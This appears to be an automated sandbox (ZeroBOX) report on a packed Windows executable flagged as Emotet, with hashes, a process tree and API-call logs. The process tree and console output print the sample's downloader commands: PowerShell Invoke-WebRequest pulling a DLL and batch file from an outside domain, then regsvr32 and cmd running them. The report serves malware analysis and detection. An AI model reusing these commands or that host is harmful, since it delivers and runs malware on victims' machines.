Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Aug. 6, 2021, 9:17 a.m.	Aug. 6, 2021, 9:19 a.m.

Size	165.0KB
Type	PE32+ executable (GUI) x86-64, for MS Windows
MD5	`aac2b6314988e0aea824fe0a53b917c1`
SHA256	`6c8e5f1670515c6a9d3cdcafe6d9a782a87f0f085095558cc0116ea73281c059`
CRC32	`51FBFE35`
ssdeep	`3072:4ahKyd2n31d5GWp1icKAArDZz4N9GhbkrNEkbTX2rv:4ahO1p0yN90QEr`
PDB Path	wextract.pdb
Yara	UPX_Zero - UPX packed file IsPE64 - (no description) Win32_Trojan_Emotet_RL_Gen_Zero - Win32 Trojan Emotet Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature Win32_Trojan_Gen_1_0904B0_Zero - Win32 Trojan Emotet

start.EXE "C:\Users\test22\AppData\Local\Temp\start.EXE"
1740
- cmd.exe cmd /c start.bat
  2108
  - powershell.exe powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/JavaE.dll -OutFile JavaE.dll
    2208
  - regsvr32.exe regsvr32 JavaE.dll
    2472
  - powershell.exe powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/nsudo.bat -OutFile nsudo.bat
    2736
  - cmd.exe cmd /c nsudo.bat
    3020
  - timeout.exe timeout 20
    3064
  - cmd.exe cmd /c nsudo.bat
    1892
  - timeout.exe timeout 20
    1548
  - cmd.exe cmd /c nsudo.bat
    2440
  - timeout.exe timeout 20
    2356
  - cmd.exe cmd /c nsudo.bat
    2700
  - timeout.exe timeout 20
    2756

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 6, 2021, 9:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 6, 2021, 9:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 6, 2021, 9:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 6, 2021, 9:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 6, 2021, 9:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 6, 2021, 9:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 6, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 6, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 6, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 6, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 6, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 6, 2021, 9:11 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 6, 2021, 9:17 a.m.			0	0
IsDebuggerPresent Aug. 6, 2021, 9:17 a.m.			0	0
IsDebuggerPresent Aug. 6, 2021, 9:11 a.m.			0	0

Command line console output was observed (44 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 6, 2021, 9:17 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:17 a.m.	buffer: cd console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:17 a.m.	buffer: "C:\Users\test22\AppData\Roaming console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:17 a.m.	buffer: C:\Users\test22\AppData\Roaming> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:17 a.m.	buffer: powershell console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:17 a.m.	buffer: Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/JavaE.dll -OutFile JavaE.dll console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:17 a.m.	buffer: C:\Users\test22\AppData\Roaming> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:17 a.m.	buffer: regsvr32 console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:17 a.m.	buffer: JavaE.dll console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: C:\Users\test22\AppData\Roaming> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: powershell console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/nsudo.bat -OutFile nsudo.bat console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: C:\Users\test22\AppData\Roaming> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: cmd console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: /c nsudo.bat console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: C:\Users\test22\AppData\Roaming> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: timeout console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: C:\Users\test22\AppData\Roaming> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: cmd console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: /c nsudo.bat console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: C:\Users\test22\AppData\Roaming> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:18 a.m.	buffer: timeout console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:19 a.m.	buffer: C:\Users\test22\AppData\Roaming> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:19 a.m.	buffer: cmd console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:19 a.m.	buffer: /c nsudo.bat console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:19 a.m.	buffer: C:\Users\test22\AppData\Roaming> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:19 a.m.	buffer: timeout console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:19 a.m.	buffer: C:\Users\test22\AppData\Roaming> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:19 a.m.	buffer: cmd console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:19 a.m.	buffer: /c nsudo.bat console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:19 a.m.	buffer: C:\Users\test22\AppData\Roaming> console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:19 a.m.	buffer: timeout console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:11 a.m.	buffer: 'nsudo.bat' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x000000000000000b	1	1
WriteConsoleW Aug. 6, 2021, 9:11 a.m.	buffer: Waiting for 20 console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:11 a.m.	buffer: seconds, press a key to continue ... console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:11 a.m.	buffer: 'nsudo.bat' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x000000000000000b	1	1
WriteConsoleW Aug. 6, 2021, 9:11 a.m.	buffer: Waiting for 20 console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:11 a.m.	buffer: seconds, press a key to continue ... console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:11 a.m.	buffer: 'nsudo.bat' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x000000000000000b	1	1
WriteConsoleW Aug. 6, 2021, 9:11 a.m.	buffer: Waiting for 20 console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:11 a.m.	buffer: seconds, press a key to continue ... console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:12 a.m.	buffer: 'nsudo.bat' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x000000000000000b	1	1
WriteConsoleW Aug. 6, 2021, 9:12 a.m.	buffer: Waiting for 20 console_handle: 0x0000000000000007	1	1
WriteConsoleW Aug. 6, 2021, 9:12 a.m.	buffer: seconds, press a key to continue ... console_handle: 0x0000000000000007	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 92 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000263130 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477320 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477320 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477320 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b476e50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b476e50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4776a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4776a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4776a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4771d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4771d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b477b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000021fb60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000021fb60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000021fb60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000021fb60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4a5400 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4a5400 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4a57f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4a57f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4775c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4775c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4775c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:17 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4775c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000344910 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725710 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725710 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2021, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b725710 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

wextract.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 6, 2021, 9:17 a.m.		1	1	0

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

AVI

Allocates read-write-execute memory (usually to unpack itself) (50 out of 354 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 1740 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefa6b7000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 1740 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef6449000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002980000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002a30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef28f1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b6e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b6e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b6f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b6f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b6f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b6f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b6f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b6f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b6f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b6f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b70000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b70000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b70000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b70000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b70000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b71000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b71000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b71000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b71000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2b6e000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00052000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2021, 9:17 a.m.	process_identifier: 2208 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
